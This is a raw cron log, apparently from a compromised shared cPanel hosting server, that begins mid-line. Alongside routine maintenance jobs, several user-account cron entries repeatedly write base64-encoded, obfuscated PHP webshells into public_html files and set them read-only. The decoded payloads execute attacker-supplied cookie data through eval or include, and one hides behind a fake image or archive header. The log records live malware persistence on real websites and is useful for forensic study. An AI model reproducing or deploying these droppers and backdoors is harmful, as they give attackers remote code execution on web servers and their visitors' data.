uICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:53:01 medusa CROND[9227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:53:01 medusa CROND[9228]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:53:01 medusa CROND[9230]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:53:01 medusa CROND[9226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:53:01 medusa CROND[9235]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:54:02 medusa CROND[13858]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 22:54:02 medusa CROND[13859]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:54:02 medusa CROND[13860]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:54:02 medusa CROND[13861]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:54:02 medusa CROND[13862]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:54:02 medusa CROND[13863]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:54:02 medusa CROND[13864]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:54:02 medusa CROND[13871]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:54:02 medusa CROND[13872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:54:02 medusa CROND[13873]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:54:02 medusa CROND[13876]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:54:02 medusa CROND[13879]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:54:02 medusa CROND[13887]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:55:01 medusa CROND[21043]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:55:02 medusa CROND[21330]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 22:55:02 medusa CROND[21331]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:55:02 medusa CROND[21332]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 22:55:02 medusa CROND[21333]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:55:02 medusa CROND[21338]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 22:55:02 medusa CROND[21339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:55:02 medusa CROND[21340]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 22:55:02 medusa CROND[21343]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:55:02 medusa CROND[21344]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 22:55:02 medusa CROND[21346]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:55:02 medusa CROND[21342]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 22:55:02 medusa CROND[21347]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 22:55:02 medusa CROND[21355]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:55:02 medusa CROND[21352]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 22:55:02 medusa CROND[21360]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:55:02 medusa CROND[21361]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 22:55:02 medusa CROND[21364]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:55:02 medusa CROND[21350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:55:02 medusa CROND[21369]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 22:55:02 medusa CROND[21373]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
